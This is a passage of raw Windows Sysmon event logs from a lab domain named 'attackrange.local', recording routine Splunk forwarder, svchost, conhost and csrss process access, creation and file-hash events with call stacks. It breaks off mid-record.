14:56:29.063{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59465-false10.0.1.12-8089- 23542300x800000000000000048361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:32.959{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B6CDCCA47EA774FDA69C937929BC1029,SHA256=DA3990AF8D37ED2765A50CB5DDAF4E6049EFA0BC470B1D1F0B728353D2052EC8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016022Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.633{625C326B-7220-613B-EA04-00000000F101}34523080C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:32.053{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=8EC1F6C4D35F780F46C038524E78D469,SHA256=EC956918D31E387F1FA98C44BFDE2334834C7E4F041FFC210F654DA56EC5BDB3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016021Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7220-613B-EA04-00000000F101}3452C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016020Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016019Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016018Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016017Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016016Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016015Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016014Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016013Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016012Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016011Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7220-613B-EA04-00000000F101}3452C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016010Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7220-613B-EA04-00000000F101}3452C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016009Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:32.430{625C326B-7220-613B-EA04-00000000F101}3452C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:33.975{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C78597A7912876A788DDFC673CF61820,SHA256=123C95809CF5EF7E2C84AA51EF75490F5B2124D721FBD8E63EF0428CC33B5FDF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016052Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7221-613B-EC04-00000000F101}2580C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016051Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016050Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016049Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016048Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016047Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016046Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016045Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016044Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016043Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016042Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7221-613B-EC04-00000000F101}2580C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016041Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:33.977{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7221-613B-EC04-00000000F101}2580C:\Program 